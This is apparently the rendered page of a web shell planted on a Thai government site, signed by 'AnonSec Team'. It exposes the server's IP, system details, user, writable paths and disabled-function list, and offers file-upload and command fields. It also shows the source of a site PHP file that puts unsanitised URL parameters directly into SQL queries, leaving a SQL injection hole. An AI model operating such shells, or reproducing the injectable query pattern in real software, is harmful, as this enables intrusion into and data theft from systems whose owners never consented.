NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.128.78.43
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/aboutPersonal-position.php
<?php 
require_once('db_main.php'); 
if( isset($_GET['view_group']) && isset($_GET['view_position']) ){
    $view_group = $_GET['view_group'];
    $view_position = $_GET['view_position'];

    $sql_data1 =  " SELECT * FROM `data_group` WHERE `id_group`='$view_group' ";
    $qr_data1 = mysqli_query($con_db_main, $sql_data1); 
    $rs_data1 = mysqli_fetch_assoc($qr_data1); 

    $sql_data2 = " SELECT * FROM `data_position` WHERE `id_position`='$view_position' AND `id_group_position`='$view_group'";
    $qr_data2 = mysqli_query($con_db_main, $sql_data2); 
    $rs_data2 = mysqli_fetch_assoc($qr_data2); 

    $sql_data3 = "SELECT * FROM `data_profile` WHERE `id_position_profile`='$view_position' ORDER BY `id_profile` ASC ";
    $qr_data3 = mysqli_query($con_db_main,$sql_data3) or die( mysqli_error($con_db_main));

}else{
    echo "<SCRIPT type='text/javascript'>
        alert('เกิดข้อผิดพลาด ไม่พบข้อมูล');
        window.location.replace('index');
    </SCRIPT>";
    exit;
}
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="animated fadeIn faster bg-psn" >
        <div class="container-fluid p-0 text-center" > 
                <div class="row mx-auto" style="max-width:1600px;">
                    <div class="col-lg-8 text-center ">
                        <div class="mt-3 pt-3 fw-700 fs-26 lh-sm">แผนผัง<?php echo $rs_data1['name_group']; ?></div>
                        <div class="pt-3"><img src="../<?php echo $rs_data1['img_group']; ?>" class="w-100 rounded shadow" style="max-width:1000px;"></div>
                        <div class="mt-4 mb-4">
                            <a class="btn btn-dark" href="aboutPersonal#data" role="button"><i class="fas fa-chevron-circle-left"></i> ย้อนกลับ</a>
                        </div>
                    </div>
                    <div class="col-lg-4 text-center">
                        <div class="mt-3 pt-3 pb-5">
                            <div class="fw-700 fs-26 lh-sm"><?php echo $rs_data2['name_position']; ?></div>
                            <?php 
                            $c_data3 = 0;
                            while($rs_data3 = mysqli_fetch_array($qr_data3)){ 
                                $c_data3++;
                            ?>
                                <div class="mt-3 fs-20 p-3 mx-auto box_datapsn text-center text-white">
                                    <img class="img-fluid mb-3 mt-3" src="../<?php echo $rs_data3['img_profile']; ?>" style="min-width:300px;max-width:300px;">
                                    <br><span style="word-spacing: 10px;"><?php echo $rs_data3["name_profile"];?></span>
                                </div>
                            <?php } ?>
                            <?php  if( $c_data3 == 0 ){ ?>
                                <div class="mt-4 fs-20 p-3 pb-5 pt-5 fw-300 mx-auto text-white box_datapsn" style="width:380px">
                                    <span class="opacity-25"><i class="fas fa-eye-slash fs-70 mb-4 mt-4"></i><br>ไม่พบข้อมูล</span>
                                </div>
                            <?php } ?>
                        </div>
                    </div>
                </div>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team